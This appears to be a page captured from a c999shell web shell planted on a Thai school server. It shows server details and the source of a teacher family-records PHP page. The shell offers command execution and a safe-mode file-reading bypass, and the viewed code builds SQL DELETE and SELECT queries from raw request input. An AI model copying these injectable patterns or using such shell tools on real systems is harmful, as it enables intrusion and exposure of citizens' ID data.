Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/teacher/ drwxr-xr-x |
Viewing file: Show_Family.php (8.14 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | <?php session_start(); /** Define Validate Access */ define( '_VALID_ACCESS', 1 ); /** Check Session User Login */ if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) { echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />"; echo "<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>"; echo "<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />"; exit(); } else { /** Configuration */ require_once( "../configuration.php" ); require_once( $_Config_absolute_path . "/includes/framework.php" ); require_once( "../include/Function.php" ); /** Create Database Object */ $dbObj = new DBConn; /** Config Table for This Page */ $query = " SELECT * FROM prefix RIGHT JOIN people_tb ON prefix.prefixId=people_tb.prefixId WHERE people_tb.Teacher_code = '$Teacher_code' "; $result = $dbObj->execQuery($query); $countnum = $dbObj->_numrows; $dbObj->freeresult($result1); $Username = $valid_user; //*** Delete Condition ***// if($_GET["Action"] == "Del") { $strSQL = "DELETE FROM people_tb "; $strSQL .="WHERE People_Id = '".$_GET["People_Id"]."' "; $objQuery = mysql_query($strSQL); echo "<script type='text/javascript'>alert('ลบข้อมูลเรียบร้อย');history.back();</script>"; if(!$objQuery) { echo "Error Delete [".mysql_error()."]"; } } } # else ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-874" /> <link href="../css/default.css" rel="stylesheet" type="text/css" /> <title>ข้อมูลประวัติส่วนตัว - ข้อมูลประวัติส่วนตัวและครอบครัว</title> </head> <body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0"> <?php include("../templates/incHeader.php"); function getMonthTh($mm) { if($mm=='01') { $mm='มกราคม'; } else if($mm=='02') { $mm='กุมภาพันธ์'; } else if($mm=='03') { $mm='มีนาคม'; } else if($mm=='04') { $mm='เมษายน'; } else if($mm=='05') { $mm='พฤษภาคม';} else if($mm=='06') { $mm='มิถุนายน'; } else if($mm=='07') { $mm='กรกฎาคม'; } else if($mm=='08') { $mm='สิงหาคม'; } else if($mm=='09') { $mm='กันยายน'; } else if($mm=='10') { $mm='ตุลาคม';} else if($mm=='11') { $mm='พฤศจิกายน';} else if($mm=='12') { $mm='ธันวาคม'; } return "$mm"; } ?> <table width="1003" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td> <td width="800" height="440" align="left" valign="top" style="padding:10px 0px 5px 10px"><fieldset> <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">หน้าหลัก</a></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Menu_History.php?Teacher_code=<?=$Teacher_code;?>">ข้อมูลส่วนตัว</a></font></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="AddFamily.php?Teacher_code=<?=$_REQUEST["Teacher_code"];?>">เพิ่มข้อมูลประวัติครอบครัว </a></font></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font><span class="NOTE"><strong>ข้อมูลประวัติครอบครัว</strong></a></font></span></legend> <table width="780" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="5"></td> </tr> <tr> <td> </td> </tr> <tr> <td height="413" align="center" valign="top"> <table width="80%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td> <? while($rs = $dbObj->fetchArray($result)) { ?> <table width="100%" border="1" bordercolor="#CCCCCC" align="center" cellpadding="1" cellspacing="1" bgcolor="#E4E4E4"> <tr bgcolor="#CEE6FF" bordercolor="#FFFFFF"> <td colspan="3" bgcolor="#FF99CC"><B><?= $rs["Status"];?></B> <a href="Edit_Family.php?Teacher_code=<?=$rs["Teacher_code"];?>&People_Id=<?=$rs["People_Id"];?>&Status=<?= $rs["Status"];?>"><img src="../picture/edit.gif" alt=" แก้ไขข้อมูล" width="16" height="16" border="0" style="vertical-align:middle"/></a> <a href="JavaScript:if(confirm('ต้องการลบข้อมูล ?')==true){window.location='<?=$_SERVER["PHP_SELF"];?>?Action=Del&People_Id=<?=$rs["People_Id"];?>';}"><img src="../picture/delete.png" alt=" ลบข้อมูล" width="16" height="16" border="0" style="vertical-align:middle"/></a></td> </tr> <tr bordercolor="#E7FAFE"> <td width="20%" height="30" align="right" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><B>ชื่อ-นามสกุล</B></td> <td width="5" bgcolor="#FFFFFF">:</td> <td width="80%" bgcolor="#FFFFFF"><?= $rs["prefixName"].$rs["People_name"]." ".$rs["People_surname"];?></td> </tr> <tr bordercolor="#E7FAFE"> <td height="30" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><B>เลขที่บัตรประชาชน</B></td> <td nowrap="nowrap" bgcolor="#FFFFFF">:</td> <td nowrap="nowrap" bgcolor="#FFFFFF"><?=citizenID_format($rs['People_idcard']);?></td> </tr> <tr bordercolor="#FFFFFF"> <td height="30" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><B>วัน/เดือน/ปี ที่เกิด</B></td> <td width="5" nowrap="nowrap" bgcolor="#FFFFFF">:</td> <td nowrap="nowrap" bgcolor="#FFFFFF"> <? $Date = $rs["People_birth"]; $yearthai = explode( "-", $Date ); $day = intval( $yearthai[2]); $month = getMonthTh(intval($yearthai[1])); $year = intval( $yearthai[0] ); $sday1 = $day." ".$month." ".$year; echo $sday1; ?> </td> </tr> <? if($rs["Status"] == "บุตร") { ?> <tr bordercolor="#E7FAFE"> <td height="30" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><B>เป็นบุตรลำดับที่</B></td> <td nowrap="nowrap" bgcolor="#FFFFFF">:</td> <td nowrap="nowrap" bgcolor="#FFFFFF"><?= $rs["People_rank"];?></td> </tr> <tr bordercolor="#E7FAFE"> <td height="30" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"> </td> <td nowrap="nowrap" bgcolor="#FFFFFF">:</td> <td nowrap="nowrap" bgcolor="#FFFFFF"><input type="checkbox" name="People_legal" id="People_legal" value="ไม่บรรลุนิตภาวะ" <?=(trim($rs["People_legal"])=="ไม่บรรลุนิตภาวะ")?"checked":"";?>/>ยังไม่บรรลุนิตภาวะ</td> </tr> <tr bordercolor="#E7FAFE"> <td height="30" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"> </td> <td width="5" nowrap="nowrap" bgcolor="#FFFFFF">:</td> <td bgcolor="#FFFFFF"><input type="checkbox" name="People_incom" id="People_incom" value="ไร้ความสามารถ" <?=(trim($rs["People_incom"])=="ไร้ความสามารถ")?"checked":"";?>/>เป็นบุตรไร้ความสามารถ หรือเสมือนไร้ความสามารถ</td> </tr> <? } else echo "";?> <tr bgcolor="#CEE6FF" bordercolor="#FFFFFF"> <td colspan="3" bgcolor="#FFFFFF"> </td> </tr> </table> <? } ?> </td> </tr> </table> </table> </fieldset></td> </tr> </table> <?php include("../templates/incFooter.php"); ?> </body> </html> <?php /** Free Resource */ $dbObj->freeresult($result); /** Close the Database */ $dbObj->disconn(); /** Unset Class */ unset($dbObj); ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]-- |